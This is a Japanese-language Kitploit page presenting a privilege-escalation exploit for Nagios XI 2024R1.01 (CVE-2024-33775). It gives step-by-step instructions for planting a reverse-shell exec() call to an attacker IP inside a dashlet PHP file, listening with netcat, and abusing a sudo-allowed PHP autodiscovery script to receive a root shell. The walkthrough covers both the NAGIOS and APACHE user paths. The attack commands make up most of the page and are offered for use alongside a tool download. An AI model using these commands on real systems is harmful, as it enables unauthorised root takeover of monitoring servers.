CVE-2024-33775 — Nagios XI 2024R1.01の権限昇格エクスプロイト。悪意のあるRSS dashlet injectionとsudo command executionにより、NAGIOSまたはAPACHEユーザーからフルrootアクセスを可能にする。 | Kitploit

CVE-2024-33775 — Nagios XI 2024R1.01の権限昇格エクスプロイト。悪意のあるRSS dashlet injectionとsudo command executionにより、NAGIOSまたはAPACHEユーザーからフルrootアクセスを可能にする。 | Kitploit

CVE Discovered by: K. Wahab (Neo`X)

脆弱性の詳細:

製品: Nagios XI Version 2024R1.01
脆弱性: ユーザー "NAGIOS" または "APACHE" からの権限昇格
結果: 対象システムでの完全なrootアクセス
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

エクスプロイト:

この例ではRSS Dashletが使用されています。

1. Nagios XIの新しいインスタンスを作成する:

以下の場所からNagios XI Version 2024R1.01 OVAファイルをダウンロードできます: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. 権限昇格:

NAGIOSとしてのエクスプロイト:

以下の内容を、"/usr/local/nagiosxi/html/includes/dashlets/"内のdashletの.inc.phpファイルに追加します:
```
exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);
```
攻撃マシンでNetcatリスニングサーバーを起動します:
```
nc -nlvp 4441
```
以下のコマンドを実行して権限を昇格し、rootとして接続を受け取ります:
```
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1
```

APACHEとしてのエクスプロイト:

「dashlets」管理ページにアクセスし、Dashletをダウンロードします:
```
http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
```

*.inc.phpを変更します:

exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");

Dashlet_inc_php

攻撃マシンでNetcatリスニングサーバーを起動します:
```
nc -nlvp 4441
```
悪意のあるダッシュレットをダッシュレット管理ページにアップロードし、APACHEユーザーとしての接続を待ちます。
以下のコマンドを実行して権限を昇格し、rootとして接続を受け取ります:
```
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1
```

（注：コマンド実行後、APACHEとして接続を受け取ります。CTRL+Cで終了し、リスナーを複数回再起動してください。）

Apache_root

ツールをダウンロード